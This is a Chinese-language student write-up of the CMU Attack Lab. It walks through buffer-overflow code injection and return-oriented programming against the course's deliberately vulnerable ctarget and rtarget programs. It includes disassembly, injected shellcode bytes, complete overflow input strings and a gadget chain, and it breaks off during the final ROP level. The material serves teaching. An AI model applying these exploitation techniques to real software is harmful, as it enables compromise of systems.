关于学习资源和视频等问题可以参考第一次写的Data Lab开头中提及的相关问题。
上次的Bomb Lab做完了缓了几天,真的有点吃不消呢…
这次的实验是Attack Lab,是曾经的32位实验Buffer Lab的64位更新。需要我们实现的内容简单来说就是针对两个含有缓冲区溢出漏洞的程序进行按照要求进行攻击,分别修改具有缓冲区溢出漏洞的两个x86_64可执行文件的行为。
对于自学者来说,运行target
的程序的时候需要带上参数-q
以避免其连接并不存在的计分服务器。
准备
对应课程
这次的Attack Lab作业,如果是自学,在B站课程中,应该大致需要完成P9的学习,大致理解缓冲区溢出的原理,以及通过代码注入攻击(Code Injection Attack)和返回导向编程(Return Oriented Programming)两种攻击方式。
P.S. P9的内容和Bomb Lab中有部分重合,因为在Bomb Lab的Phase5中,涉及了Canary值,和栈空间破坏检测。暂且列入了Bomb Lab的学习范围。
课程文件
相关的作业可以在CMU的官网上找到:
Lab Assignments
在Attack Lab一栏里面,我们可以查看相关文件,例如:
这次的Writeup说明材料有亿点点长,里面列举了本次作业的相关要求,痛苦看完🤦♂️
下载后并解压的文件如图所示:
使用环境
还是选择在Linux虚拟机上进行操作:
使用建议
文件说明
这次文件夹里面的文件比较多,主要包含了如下文件:
ctarget
是一个易受代码注入攻击的可执行程序
rtarget
是一个易受返回导向编程攻击的可执行程序
cookie.txt
是在攻击中用到的唯一标识符,是8位的16进制代码
farm.c
是目标程序的”Gadget Farm”的源代码,你将利用这些代码去生成返回导向编程攻击
hex2raw
是一个生成攻击字符串的工具
对于自学的同学,我们需要在运行可执行程序时加入-q
参数,禁止与不存在的评分服务器的连接。
目标程序漏洞
目标程序中ctarget
和rtarget
都使用了getbuf
函数从我们的标准输入流中读取字符串:
1 2 3 4 5
| unsigned getbuf(){ char buf[BUFFER_SIZE]; Gets(buf); return 1; }
|
其中的Gets
函数与标准库函数中的gets
函数类似,都是不安全的,因为存在缓冲区溢出漏洞。
交互方式
我们在这里以第一个可执行文件ctarget
为例,尝试对他进行攻击。
最简单的逻辑就是直接在终端中直接输入字符:
但是看过网课的同学都知道,如果我们要触发缓冲区溢出,并篡改返回的指令地址。
如果直接输入字符串未免太拐弯抹角了,还需要将返回的指令地址对应ASCII码转换成字符再进行输入。
在这里,作业文件夹里面很贴心的提供了hex2raw
小程序,通过读取文本文件中的逐个字节,每个字节使用空格隔开,并使用小端序,直接将其转化为字符。
P.S. 由于我们使用Gets
函数输入字符串,用来生成攻击字符串的16进制的代码的任意中间位置都不能包含0a
,因为其ASCII表示是\n
,在其之后的任意代码都不会被目标程序读入了。
P.S. 关于大端序和小端序的相关介绍在网课P3 57:52时刻。如常见的Intel x86系列就是小端序。
而我们应该如何来使用呢?如下所示:
例如我们在作业目录下创建文本文件key.txt
:
随后我们使用如下命令:
P.S. 帮助复习一下Linux基本终端知识:
注意事项
答案不能使用攻击去避免程序的正确性检查代码,禁止偷鸡。ret
指令返回的目的地只能是以下3
种:
- 函数
touch1
, touch2
, touch3
的地址
- 攻击注入代码的地址
- gadget farm中gadgets的地址
rtarget
中只能用函数start_farm
和函数end_farm
之间的函数来生成gadget。
题目
Code Injection Attacks
Part I部分的攻击对象主要为ctarget
,我们的攻击方式为代码注入攻击(Code Injection Attack),即通过覆盖缓冲区外部的表示代码返回地址的内存,来实现攻击的目的。
Level 1
在这个level,我们暂时不注入新的代码。我们通过输入的字符串将程序重定向到一段已经存在的程序上即可。
getbuf
方法在ctarget
内由test
方法进行调用,test
程序如下:
1 2 3 4 5
| void test(){ int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); }
|
我们希望通过缓冲区溢出注入的方式,使得程序在执行结束getbuf
方法后,不去执行最后一句printf
,而是转而执行touch1
方法,touch1
方法如下:
1 2 3 4 5 6
| void touch1(){ vlevel = 1; printf("Touch1!: You called touch1()\n"); validate(1); exit(0); }
|
如果需要进行缓冲区溢出攻击的话,我们最好先对当前的程序进行反编译分析,我们使用objdump -d ./ctarget > ctarget-disassemble
将结果输出到文件:
我们首先观察getbuf
函数的反编译结果:
1 2 3 4 5 6 7 8 9
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp ;栈顶指针下移40字节,分配栈帧空间 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax ;return 1 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop
|
结合之前的getbuf
函数,我们可以看出getbuf
的栈帧大小为48
字节,其最底部的8
字节应当为返回的地址。而我们向Gets
函数中传入了数组首地址,即rsp
,也就是getbuf
栈的栈顶。
P.S. 见P7 16:06时刻,call
指令隐含了三部操作,首先会将返回地址压入栈中(附带操作rsp
指针下移),再修改指令指针rip
指向准备被调用的外部函数。
因此被调用的函数的栈帧底部应该存在call
指令压入的返回地址,而下次使用ret
指令时,相当于使用pop
指令将栈顶当前存在的返回地址弹出(附带操作rsp
指针上移),并写入rip
,指向原调用函数的下一句指令位置。
大致内存布局如图:
因此,我们传入的字符串大小需要为48
字节,其中前40
字节用于填充缓冲区,后8
字节用于覆盖返回地址完成注入。换句话说,前40
字节的字符没有要求,但是最后8
字节需为touch1
函数的入口地址。
通过观察touch1
的反编译结果:
1 2 3 4 5 6 7 8 9 10
| 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 call 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
|
我们得到其入口地址为0x4017c0
,因此我们构造输入:
1 2 3 4 5
| 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 /* fill buffer */ c0 17 40 00 00 00 00 00 /* addr in little edian */
|
注意到最后的8
个字节,按字节输入时是按照地址增大的方向填入的,但是读取地址时使用的是小端序,因此顺序是反过来的。
传入程序中,显示通过。
Level 2
在这个level中,我们需要将程序重定向到touch2
,同时需要将传入的参数val
修改为cookie
,相应的cookie
值已经列出在了文件夹的cookie.txt
中,也就是0x59b997fa
。
touch2
的相关代码如下:
1 2 3 4 5 6 7 8 9 10 11
| void touch2(unsigned val){ vlevel = 2; if(val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
|
在Writeup中,已经给出了比较明显的提示了。题目希望我们在运行过程中插入一段代码,通过直接修改rdi
寄存器的值为cookie
,随后通过注入的方式调用touch2
,直接将rdi
内的参数作为第一参数传递给touch2
。
事实上,如果我们没有对内存中的数据进行读写可执行等限制,我们确实可以通过在缓冲区内部注入可执行二进制代码的方式,再通过缓冲区溢出漏洞修改缓冲区外部的返回地址,将返回地址指向我们写入的缓冲区中的某块代码区域,如下图:
如果我们确实要这样做的话,思考一下我们注入的二进制代码需要完成哪些事情呢?
- 将
rdi
的值修改为cookie
,即0x59b997fa
- 执行完之后,将程序转向
touch2
。即将touch2
入口地址入栈,随后调用retq
。(retq
会取出rsp
指向的空间的地址作为返回地址而进行执行)
我们观察touch2
的反编译结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 call 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 call 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
|
我们看到其入口地址为0x4017ec
因此我们认为注入代码的汇编形式应当写作如下:
1 2 3
| mov $0x59b997fa, %rdi pushq $0x4017ec retq
|
P.S. 友情提示,立即数不要忘记$
符号。
我们将这段代码写入到文件attack.s
,随后使用GCC,通过命令gcc -c attack.s
将其转换为二进制可执行文件attack.o
。随后我们使用objdump
对生成的attack.o
文件使用objdump -d attack.o > attack_disassemble
进行分析:
我们看到反编译结果如下:
1 2 3 4 5 6 7 8
| attack.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 push $0x4017ec c: c3 ret
|
自此我们确定需要注入的代码二进制格式为:
1
| 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
|
这段注入代码共13
个字节,那么接下来我们就应该修改返回地址指向这段代码开头了,那么应该如何确定代码的地址呢?
我们不妨将其顶格放置在缓冲区开头位置,接下来我们就应该着手去确定他的位置。我们使用GDB调试ctarget
,在getbuf
位置打上断点:
从中可以得出结论,ctarget
在执行getbuf
时的栈地址(指向返回地址)为0x5561dca0
。接下来我们执行一次单步执行,也就是sub $0x28,%rsp
,现在rsp
指针指向了缓冲区开始地址0x5561dc78
。内存布局如下图所示:
因此我们应当输入如下内容:
1 2 3 4 5
| 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 /* code(13 bytes) */ 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 /* fill buffer(27 bytes) */ 78 dc 61 55 00 00 00 00 /* return addr pointing to the code(8 bytes) */
|
我们通过key.txt
传入到程序中,显示攻击成功,顺利调用touch2
:
Level 3
Level 3同样要求我们进行代码注入,但是相比Level 2需要我们传入一个字符串作为参数。
题目给出了hexmatch
和touch3
的源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int hexmatch(unsigned val, char* sval) { char cbuf[110]; char* s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
void touch3(char* sval){ vlevel = 3; if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
|
这段hexmatch
的代码很有趣,我们需要好好的揣摩一下作者的用意。我们看到他开辟了一块110
字节的空间,在某个位置插入了cookie
对应的16
进制小写字符串。
我们知道如果要触发touch3
中的正确分枝,就需要将正确的字符串作为参数传递给rdi
,也就是先在内存空间中开辟出一块空间存储"59b997fa"
,随后将其首地址元素地址传递给rdi
。
题目上也给出了相关的提示,如果我们将这段字符串存储在40
字节的缓冲区内部,在运行的过程中,如果调用了touch3
并继续调用了hexmatch
,那么栈空间会大量增长,cbuf
所在的110
字节空间会直接覆盖掉原本在缓冲区中的"59b997fa"
。因此我们最好的办法只能是继续将我们缓冲区溢出的范围变大一点,把字符串写到返回地址更外面的地方(也就是test
的栈帧里面,虽然这会破坏他的栈空间,但这是迫不得已)。
那我们先开始进行准备工作吧,"59b997fa"
其转换为ASCII码为:
1
| 35 39 62 39 39 37 66 61 00
|
共9
字节(算上'\0'
)。
我们将这段字符串存储在返回地址外侧的位置,内存布局如图所示:
这样就可以防止字符串被意外覆盖了。根据我们在Level 2中调试出的地址,加上返回地址为8
字节大小,我们可以推测出字符串开始首地址为0x5561dca8
。
touch3
的反编译结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| 00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie> 401911: e8 36 ff ff ff call 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 38 31 40 00 mov $0x403138,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 52 03 00 00 call 401c8d <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 60 31 40 00 mov $0x403160,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 f1 03 00 00 call 401d4f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff call 400e40 <exit@plt>
|
可见,其入口地址为0x4018fa
。那么我们的注入代码同Level 2,也可以列出了:
1 2 3
| mov $0x5561dca8, %rdi pushq $0x4018fa retq
|
通过GCC和objdump
命令,同上,将其转化为二进制命令为:
1 2 3 4 5 6 7 8
| attack.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>: 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: 68 fa 18 40 00 push $0x4018fa c: c3 ret
|
即二进制注入代码为:
1
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
|
共13
字节。
因此输入的字符串为:
1 2 3 4 5 6
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 /* code(13 bytes) */ 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 /* fill buffer(27 bytes) */ 78 dc 61 55 00 00 00 00 /* return addr pointing to the code(8 bytes) */ 35 39 62 39 39 37 66 61 00 /* string("59b997fa") */
|
我们尝试进行测试,成功:
Return-Oriented Programming
为了对抗缓冲区溢出攻击,在第二部分中目标程序rtarget
使用了如下技术来应对:
- 栈随机化技术,每次运行程序时栈的起始位置是不固定的。因此我们没法通过在栈空间某处注入一段代码的方式来达成目的(因为根本找不到这段代码的地址)
- 禁止执行栈上的代码,即使我们将程序计数器指向我们注入的代码也无法进行执行,会爆出segmentation fault错误。
但是在此目标程序中,缓冲区溢出仍然是存在的,我们依旧可以不受干扰的修改栈空间中缓冲区及其以外的部分。
基于这点原理,我们可以使用返回导向编程(ROP)来进行攻击。
P.S.
考虑到我们无法直接执行栈内存空间中的代码,而且其地址会随机变化,我们改为考虑使用地址固定的正常程序地址。例如程序自身执行的函数等等,我们通过“断章取义”的相关办法,将程序理解为我们想要的意思,例如代码:
1 2 3
| void setval_210(unsigned* p){ *p = 3347663060U; }
|
1 2 3
| 0000000000400f15 <setval_210>: 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq
|
如果我们将返回地址定为0x400f15
,确实执行的就是相关的效果。
但是如果我们将程序计数器指向中间某个位置,就可以被“断章取义”的理解为别的意思,例如我们指向0x400f18
:
1 2
| 400f18: 48 89 c7 movq %rax, %rdi 400f1b: c3 retq
|
如果我们将返回地址定在0x400f18
,就能产生意想不到的效果。
我们将以 ret
结尾的指令序列,称为gadgets
。
通过在缓冲区外不断写入地址的方式我们就能进行连贯的调用,每次执行ret
都会导致执行后一个新的返回地址,随后rsp
指针加一。
至于传入的参数如何进行修改,在ROP攻击中,由于不一定能找到合适的gadgets
完成赋值操作。我们一般使用retq
执行前的pop reg
指令,将栈顶到数据弹出到寄存器中(pop reg
的命令也需要从gadgets
中去寻找),因此相关的参数确实可以写到栈空间中去,通过pop
来获取。
为了方便我们获取需要的gadgets
,在rtarget
中,提供了多个函数,函数start_farm
和函数end_farm
之间的均可调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223
| int start_farm() { return 1; }
unsigned getval_142() { return 2425387259U; }
unsigned addval_273(unsigned x) { return x + 3284633928U; }
unsigned addval_219(unsigned x) { return x + 2421715793U; }
void setval_237(unsigned *p) { *p = 3351742792U; }
void setval_424(unsigned *p) { *p = 2455290452U; }
void setval_470(unsigned *p) { *p = 3347925091U; }
void setval_426(unsigned *p) { *p = 2428995912U; }
unsigned getval_280() { return 3281016873U; }
int mid_farm() { return 1; }
long add_xy(long x, long y) { return x+y; }
unsigned getval_481() { return 2428668252U; }
void setval_296(unsigned *p) { *p = 2425409945U; }
unsigned addval_113(unsigned x) { return x + 3380137609U; }
unsigned addval_490(unsigned x) { return x + 3676361101U; }
unsigned getval_226() { return 3225997705U; }
void setval_384(unsigned *p) { *p = 3229929857U; }
unsigned addval_190(unsigned x) { return x + 3767093313U; }
void setval_276(unsigned *p) { *p = 3372794504U; }
unsigned addval_436(unsigned x) { return x + 2425409161U; }
unsigned getval_345() { return 3252717896U; }
unsigned addval_479(unsigned x) { return x + 3372270217U; }
unsigned addval_187(unsigned x) { return x + 3224948361U; }
void setval_248(unsigned *p) { *p = 3674787457U; }
unsigned getval_159() { return 3375944073U; }
unsigned addval_110(unsigned x) { return x + 3286272456U; }
unsigned addval_487(unsigned x) { return x + 3229926025U; }
unsigned addval_201(unsigned x) { return x + 3353381192U; }
unsigned getval_272() { return 3523793305U; }
unsigned getval_155() { return 3385115273U; }
void setval_299(unsigned *p) { *p = 2447411528U; }
unsigned addval_404(unsigned x) { return x + 3281178249U; }
unsigned getval_311() { return 3674788233U; }
void setval_167(unsigned *p) { *p = 3281113481U; }
void setval_328(unsigned *p) { *p = 3526935169U; }
void setval_450(unsigned *p) { *p = 3372797449U; }
unsigned addval_358(unsigned x) { return x + 2430634248U; }
unsigned addval_124(unsigned x) { return x + 1019724425U; }
unsigned getval_169() { return 3223375496U; }
void setval_181(unsigned *p) { *p = 3269495112U; }
unsigned addval_184(unsigned x) { return x + 3529556617U; }
unsigned getval_472() { return 3525365389U; }
void setval_350(unsigned *p) { *p = 2430634312U; }
int end_farm() { return 1; }
|
这些函数在rtarget
中通过objdump
反编译可得到其二进制代码和对应地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183
| 0000000000401994 <start_farm>: 401994: b8 01 00 00 00 mov $0x1,%eax 401999: c3 ret
000000000040199a <getval_142>: 40199a: b8 fb 78 90 90 mov $0x909078fb,%eax 40199f: c3 ret
00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 ret
00000000004019ae <setval_237>: 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 ret
00000000004019b5 <setval_424>: 4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) 4019bb: c3 ret
00000000004019bc <setval_470>: 4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2: c3 ret
00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 ret
00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 ret
00000000004019d0 <mid_farm>: 4019d0: b8 01 00 00 00 mov $0x1,%eax 4019d5: c3 ret
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 ret
00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3 ret
00000000004019e1 <setval_296>: 4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi) 4019e7: c3 ret
00000000004019e8 <addval_113>: 4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax 4019ee: c3 ret
00000000004019ef <addval_490>: 4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax 4019f5: c3 ret
00000000004019f6 <getval_226>: 4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax 4019fb: c3 ret
00000000004019fc <setval_384>: 4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi) 401a02: c3 ret
0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 ret
0000000000401a0a <setval_276>: 401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi) 401a10: c3 ret
0000000000401a11 <addval_436>: 401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax 401a17: c3 ret
0000000000401a18 <getval_345>: 401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax 401a1d: c3 ret
0000000000401a1e <addval_479>: 401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax 401a24: c3 ret
0000000000401a25 <addval_187>: 401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax 401a2b: c3 ret
0000000000401a2c <setval_248>: 401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi) 401a32: c3 ret
0000000000401a33 <getval_159>: 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 ret
0000000000401a39 <addval_110>: 401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax 401a3f: c3 ret
0000000000401a40 <addval_487>: 401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax 401a46: c3 ret
0000000000401a47 <addval_201>: 401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax 401a4d: c3 ret
0000000000401a4e <getval_272>: 401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax 401a53: c3 ret
0000000000401a54 <getval_155>: 401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax 401a59: c3 ret
0000000000401a5a <setval_299>: 401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi) 401a60: c3 ret
0000000000401a61 <addval_404>: 401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax 401a67: c3 ret
0000000000401a68 <getval_311>: 401a68: b8 89 d1 08 db mov $0xdb08d189,%eax 401a6d: c3 ret
0000000000401a6e <setval_167>: 401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi) 401a74: c3 ret
0000000000401a75 <setval_328>: 401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi) 401a7b: c3 ret
0000000000401a7c <setval_450>: 401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi) 401a82: c3 ret
0000000000401a83 <addval_358>: 401a83: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax 401a89: c3 ret
0000000000401a8a <addval_124>: 401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax 401a90: c3 ret
0000000000401a91 <getval_169>: 401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax 401a96: c3 ret
0000000000401a97 <setval_181>: 401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi) 401a9d: c3 ret
0000000000401a9e <addval_184>: 401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax 401aa4: c3 ret
0000000000401aa5 <getval_472>: 401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax 401aaa: c3 ret
0000000000401aab <setval_350>: 401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401ab1: c3 ret
0000000000401ab2 <end_farm>: 401ab2: b8 01 00 00 00 mov $0x1,%eax 401ab7: c3 ret 401ab8: 90 nop 401ab9: 90 nop 401aba: 90 nop 401abb: 90 nop 401abc: 90 nop 401abd: 90 nop 401abe: 90 nop 401abf: 90 nop
|
此外为了方便查找对应特征的字节码,题目还特意提供相关的查询表:
Level 2
我们在这里希望达成的目标和上一阶段是相同的。
和之前的一样,我们的目标两个:
- 将
cookie
的值赋给rdi
- 将下一条指令指向
touch2
地址
我们先暂时抛开gadgets
代码注入不谈,如果要指向touch2
地址,我们只需要在栈内存空间中在gadgets
地址上方写入touch2
入口地址0x4017ec
。当gadgets
执行完毕,调用ret
就会转向栈顶的这条地址。
接下来我们考虑一下如何使用gadgets
,将cookie
赋值给rdi
。题目给了很明显的提示,要我们使用movq
和popq
,结合rax
和rdi
两个寄存器实现。说明可能暂时没有popq %rdi
这么直接的做法,得曲线救国一下…
我们注意到如下两段代码:
1 2 3 4 5 6 7
| 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 ret 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 ret
|
我们从中能够提取出以下片段:
1 2 3 4 5 6 7
| 4019ab: 58 popq %rax 4019ac: 90 nop 4019ad: c3 retq
4019c6: 89 c7 movl %eax, %edi 4019c8: 90 nop 4019c9: c3 retq
|
将这两段代码结合即可解决将rdi
赋值为cookie
的目的。内存布局如下所示:
因此输入字符串为:
1 2 3 4 5 6 7 8 9
| 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 /* fill buffer(40 bytes) */ ab 19 40 00 00 00 00 00 /* return addr 1(8 bytes) */ fa 97 b9 59 00 00 00 00 /* cookie(8 bytes) */ c6 19 40 00 00 00 00 00 /* return addr 2(8 bytes) */ ec 17 40 00 00 00 00 00 /* touch2 addr(8 bytes) */
|
经过验证,可以通过测试:
Level 3
Level 3要求同上…
难点自然是我们传入的字符串"59b997fa"
首地址完全无法确定,因为栈初始化地址是完全随机的…
那自然要使用偏移量来表示,例如这个地址离当前的栈底距离多少个字节。幸运的是我们有一个add_xy
的方法,专门就是处理两数相加的结果。
1 2 3
| 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 ret
|
基本思路就是将当前rsp
存入到rsi
或rdi
中(因为rsp
后续可能会发生变化),随后我们通过pop
将栈顶存储的某个偏移常数取出,赋值给rdi
和rsi
中的另一个,最后我们调用加法,将偏移后到地址输出到rax
位置上。
搜罗了一圈关于mov %rsp, xxx
的方法,发现还是得继续曲线救国,根本就没有直传rsi
或者rdi
的方案…
我们能够找到的片段是:
1 2 3 4 5 6 7
| 0000000000401aab <setval_350>: 401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401ab1: c3 ret 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret
|
我们将其拆解为片段:
1 2 3 4 5 6
| 401aad: 48 89 e0 movq %rsp, %rax 401ab0: 90 nop 401ab1: c3 retq
4019a2: 48 89 c7 movq %rax, %rdi 4019a5: c3 retq
|
通过这段片段,我们可以将rsp
赋值给rdi
。
而关于popl %esi
的操作也需要分步进行(因为只能找到popq %rax
的片段),我们有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
